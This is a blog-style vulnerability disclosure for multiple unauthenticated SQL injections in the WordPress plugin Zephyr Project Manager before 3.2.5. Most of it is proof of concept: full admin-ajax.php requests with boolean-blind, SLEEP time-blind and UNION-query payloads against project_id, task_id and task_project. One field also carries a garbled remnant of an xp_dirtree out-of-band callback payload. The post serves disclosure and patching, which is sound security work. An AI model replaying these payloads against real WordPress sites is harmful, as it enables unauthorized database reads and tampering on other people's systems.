r1z4x@pentester:#|
Aug 14, 2022

Wordpress Plugin Zephyr Project Manager < 3.2.5 - Multiple Unauthenticated SQLi

#wordpress #exploit-db #wpscan #sql-injection

Description

Zephyr Project Manager is a plug-in that helps you manage and get things done effectively, all your projects and tasks.

It has been determined that the data coming from the input field in most places throughout the application are used in the query without any sanitize and validation.

The details of the discovery are given below.

Proof of Concept (PoC)

The details of the various SQL Injection on the application are given below.

Endpoint of Get Project Data.

Sample Request

POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_projects
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

action=zpm_view_project&project_id=1&zpm_nonce=22858bf3a7

Payload :

---
Parameter: project_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=zpm_view_project&project_id=1 AND 4923=4923&zpm_nonce=22858bf3a7

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: action=zpm_view_project&project_id=1 OR (SELECT 7464 FROM (SELECT(SLEEP(20)))EtZW)&zpm_nonce=22858bf3a7

    Type: UNION query
    Title: Generic UNION query (NULL) - 20 columns
    Payload: action=zpm_view_project&project_id=-4909 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a7071,0x6264514e6e4944795a6f6e4a786a6e4d4f666255434d6a5553526e43616e52576c75774743434f67,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&zpm_nonce=22858bf3a7
---

Endpoint of Get Task Data.

Sample Request

POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_tasks
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

task_id=1&action=zpm_view_task&zpm_nonce=22858bf3a7

Payload :

---
Parameter: task_id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: task_id=1 AND (SELECT 5365 FROM (SELECT(SLEEP(20)))AdIX)&action=zpm_view_task&zpm_nonce=22858bf3a7
---

Endpoint of New Task.

Sample Request

POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_tasks
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 337
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

task_name=test&task_description=test&task_project=1&task_due_date=&task_start_date=&team=0&priority=priority_none&status=test&type=default&recurrence%5Btype%5D=default&parent-id=-1&action=zpm_new_task&zpm_nonce=22858bf3a7

Payload :

---
Parameter: task_project (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: task_name=test&task_description=test&task_project=1 AND (SELECT 3078 FROM (SELECT(SLEEP(20)))VQSp)&task_due_date=&task_start_date=&team=0&priority=priority_none&status=rrrr-declare-q-varchar-99-set-q-727aho78zk9gcoyi8asqud6osfy9m0io9hx9kz8o-oasti-fy-com-tny-exec-master-dbo-xp-dirtree-q&type=default&recurrence[type]=default&parent-id=-1&action=zpm_new_task&zpm_nonce=22858bf3a7
---

References